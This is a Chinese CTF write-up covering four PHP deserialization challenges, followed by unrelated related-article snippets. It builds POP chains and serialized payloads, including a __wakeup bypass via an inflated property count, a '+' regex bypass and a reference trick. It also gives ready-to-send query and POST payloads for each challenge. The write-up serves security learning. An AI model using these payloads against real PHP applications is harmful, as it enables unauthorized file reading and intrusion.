php反序列化题目

news2025/1/18 20:12:44

[NewStarCTF 公开赛赛道]UnserializeOne

分析代码,最终需要调用到   file_get_contents 即可获得flag
从后往前分析

触发 __invoke 需要 以调用函数的方式调用一个对象
可以找到Start类 里的__isset中可以将类当作函数调用

所以需要调用到 __isset  就需要 isset() 或 empty() ,可以发现在 eeee类中存在
又需要调用 __clone  方法,当对象被复制时调用,
再继续找,可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件
这又需要去调用到 __call 方法,在对象中调用一个不可访问方法时,__call() 会被调用
可以发现在 Sec 类 中  使用了一个 check()方法,但是这个方法是不存在的,正好满足__call() 的条件,这又需要调用到 __toString 方法,一个类被当成字符串时被调用,
可以在Start类中发现,将 $name 实例化为一个类就可满足类被当作字符串使用

 

这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用,这样就可以串起来了

Start类 - __destruct  --->  Sec类- __toString  --->  Easy类 -__call  ---> eeee类-__clone
   ---> Start类- __isset  ---> Sec 类- __invoke --->file_get_contents

链子出来了,就需要去本地构造序列化了

<?php

class Start{

    public $name;

    public $func;

}

class Sec{

    public $obj;

    public $var;

}

class Easy{

    public $cla;

}

class eeee{

    public $obj;

}

尝试了几次失败的,构造的有点问题

// $a=new Start(new Sec(new Easy(new eeee(new Start(new Sec())))));

// O:5:"Start":2:{s:4:"name";N;s:4:"func";N;}

// $a=new Start();

// $a->name=new Sec();

// $a->name->obj=new Easy(new eeee(new Start(new Sec())));

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";N;}s:4:"func";N;}

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->var=new eeee();

$a->name->var->obj=new Start();

$a->name->var->obj->func=new Sec();

echo serialize($a);

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

最后这个可以成功得到flag

Web_php_unserialize

需要绕过的点:
__wakeup 绕过 : 修改序列化字符串中属性的数量,使其比实际属性数量多

preg_match('/[oc]:\d+:/i', $var):表示匹配o或c加冒号加任意数字的形式
绕过:在数字前面加上 + 即可绕过

因为需要  base64编码 代码里面使用了private 又麻烦了点,不能直接序列化后改,

使用函数去改

<?php

class Demo { 
    private $file = 'index.php';
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b=str_replace('O:','O:+',$b);
$b=str_replace('s:','s:+',$b);
$b=str_replace('"Demo":1','"Demo":2',$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9

?var=TzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9

unserialize3

绕过__wakeup  :  修改序列化字符串中属性的数量,使其比实际属性数量多

<?php


class xctf{
public $flag = '111';
}
$a= new xctf();
$a=serialize($a);
echo $a;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

BUU CODE REVIEW 1

关键点在于要使 $correct === $input  但是每次执行 $ccorrect 都会被赋予一个新的量,
所以使用  & 符号   使$input指向$correct 的地址,就能保证它们的值相等,因为都是指向的同一个地址,是同一个值

<?php

class BUU {
    public $correct = "";
    public $input = "";
 }

 $a=new BUU();
 $a->input=&$a->correct;

 echo serialize($a);
 //O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后就是 md5的弱比较,直接传数组比较简单
GET:   ?pleaseget=1

POST:  pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1577193.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微服务篇面试题

1、SpringCloud的组件有哪些&#xff1f; 2、负载均衡如何实现&#xff1f; 3、什么是服务雪崩&#xff1f;怎么解决&#xff1f; 4、项目中有没有做过限流&#xff1f; Tomcat单体可以&#xff0c;分布式不适合 5、解释一下CAP和BASE P&#xff1a;加入node03这边的网络断了&a…

提示工程中的10个设计模式

我们可以将提示词定义为向大型语言模型(Large Language Model&#xff0c;LLM)提供的一个查询或一组指令&#xff0c;这些指令随后使模型能够维持一定程度的自定义或增强&#xff0c;以改进其功能并影响其输出。我们可以通过提供细节、规则和指导来引出更有针对性的输出&#x…

PostgreSQL入门到实战-第五弹

PostgreSQL入门到实战 PostgreSQL查询语句(二)官网地址PostgreSQL概述PostgreSQL给列取别名理论PostgreSQL给列取别名实操更新计划 PostgreSQL查询语句(二) 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列内容不一定100%复现, 还要以官方信息为准 https://www.post…

【Labview】虚拟仪器技术

一、背景知识 1.1 虚拟仪器的定义、组成和应用 虚拟仪器的特点 虚拟仪器的突出特征为“硬件功能软件化”&#xff0c;虚拟仪器是在计算机上显示仪器面板&#xff0c;将硬件电路完成信号调理和处理功能由计算机程序完成。 虚拟仪器的组成 硬件软件 硬件是基础&#xff0c;负责将…

【Linux】进程状态僵尸进程和孤儿进程阻塞、挂起和运行

个人主页 &#xff1a; zxctscl 如有转载请先通知 文章目录 1. 前言2. Linux的进程状态2.1 S状态2.2 R状态2.3 T/t状态2.4 D状态 3. 僵尸进程和孤儿进程3.1 僵尸进程3.2 孤儿进程 4. 进程的阻塞、挂起和运行4.1 运行4.2 阻塞状态4.3 挂起4.4 进程切换 1. 前言 上一篇博客中提到…

Redis: 持久化

文章目录 一、RDB持久化1、概念2、生成、载入RDB文件3、执行时机&#xff08;1&#xff09; 执行save命令&#xff08;2&#xff09;执行bgsave命令&#xff08;3&#xff09;Redis停机时&#xff08;4&#xff09;触发RDB条件 4、bgsave原理5、小结 二、AOF持久化1、概念2、AO…

Linux学习-网络UDP

网络 数据传输,数据共享 网络协议模型 OSI协议模型 应用层 实际发送的数据 表示层 发送的数据是否加密 会话层 是否建立会话连接 传输层 数据传输的方式&#xff08;数据报、流式&#…

C++STL(list类)

文章目录 1.list类的介绍2.list的基本用法2.1 基本用法2.2 迭代器失效2.3 reverse(逆置)2.3 sort(排序)2.4 unique(去重)2.5 splice(转移) 3.list的底层(模拟实现)3.1 list的3.2 修改链表问题3.3 完整代码 1.list类的介绍 list是可以在常数范围内在任意位置进行插入和删除的序列…

代码随想录阅读笔记-二叉树【将有序数组转换为二叉搜索树】

题目 将一个按照升序排列的有序数组&#xff0c;转换为一棵高度平衡二叉搜索树。 本题中&#xff0c;一个高度平衡二叉树是指一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1。 示例: 思路 做这道题目之前大家可以了解一下之前讲到的一些问题 从中序和后序遍历…

红豆开箱上手必读

什么是红豆&#xff1f; 红豆开源平台是由奇迹物联发布并主导维护的 LTE Cat1 物联网产品开发平台&#xff0c;它是基于 Cat1 蜂窝通信模组 AM430E 构建的技术开源平台。该平台的目标是帮助物联网行业从业者利用搭乐高模块化模式进行 Open CPU 开发&#xff0c;它为开发者提供…

C++:类与对象(一)

hello&#xff0c;各位小伙伴&#xff0c;本篇文章跟大家一起学习《C&#xff1a;类与对象&#xff08;一&#xff09;》&#xff0c;感谢大家对我上一篇的支持&#xff0c;如有什么问题&#xff0c;还请多多指教 &#xff01; 文章目录 面向对象和面向过程的区别1.类的引入2.…

2024年MathorCup妈妈杯数学建模思路C题思路解析+参考成品

1 赛题思路 (赛题出来以后第一时间在群内分享&#xff0c;点击下方群名片即可加群) 2 比赛日期和时间 报名截止时间&#xff1a;2024年4月11日&#xff08;周四&#xff09;12:00 比赛开始时间&#xff1a;2024年4月12日&#xff08;周五&#xff09;8:00 比赛结束时间&…

Hello 算法9:图

https://www.hello-algo.com/chapter_graph/graph/#911 图的基本概念 图由顶点和边组成&#xff0c;比起链表&#xff08;线性数据结构&#xff09;和树&#xff08;分治结构&#xff09;&#xff0c;图更自由也更复杂 方向性 在无向图中&#xff0c;边表示两个顶点之间的双…

苹果手机怎么查找对方手机位置?2招快速定位!

在现代社会中&#xff0c;智能手机已经成为我们生活中不可或缺的一部分。然而&#xff0c;随着手机的普及&#xff0c;我们也面临着一些问题&#xff0c;比如手机丢失或被盗。 在这种情况下&#xff0c;如何快速准确地找到手机的位置就显得尤为重要。苹果手机怎么查找对方手机…

PKI:构建数字安全基石的关键技术

在数字化时代&#xff0c;网络安全已成为我们日常生活和工作的重要组成部分。为了确保数据的完整性、机密性和身份的真实性&#xff0c;公钥基础设施&#xff08;Public Key Infrastructure&#xff0c;简称PKI&#xff09;技术应运而生&#xff0c;为构建数字安全基石提供了重…

面试算法-151-矩阵置零

题目 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,1,1],[1,0,1],[1,1,1]] 输出&#xff1a;[[1,0,1],[0,0,0],[1,0,1]] 解 class Solutio…

LangChain - 文档加载

文章目录 一、关于 检索二、文档加载器入门指南 三、CSV1、使用每个文档一行的 CSV 数据加载2、自定义 csv 解析和加载3、指定用于标识文档来源的列 四、文件目录 file_directory1、加载文件目录数据2、显示进度条 &#xff08;tqdm3、使用多线程 use_multithreading4、更改加载…

通用开发技能系列:Scrum、Kanban等敏捷管理策略

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 通用开发技能系列 文章&#xff0c;主要对编程通用技能 Scrum、Kanban等敏捷管理策略 进行学习 1.什么是敏捷开发 敏捷是一个描述软件开发方法的术语&#xff0c;它强调增量交付、团队协作、持续规划和持续学习…

如何使用生成式人工智能撰写关于新产品发布的文章?

利用生成式人工智能撰写新产品发布文章确实是一种既有创意又高效的内容生成方式。以下是如何做到这一点的指南&#xff0c;附带一些背景信息&#xff1a; • 背景&#xff1a;在撰写文章之前&#xff0c;收集有关您的新产品的信息。这包括产品的名称、类别、特点、优势、目标受…

git 常用命令和使用方法

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…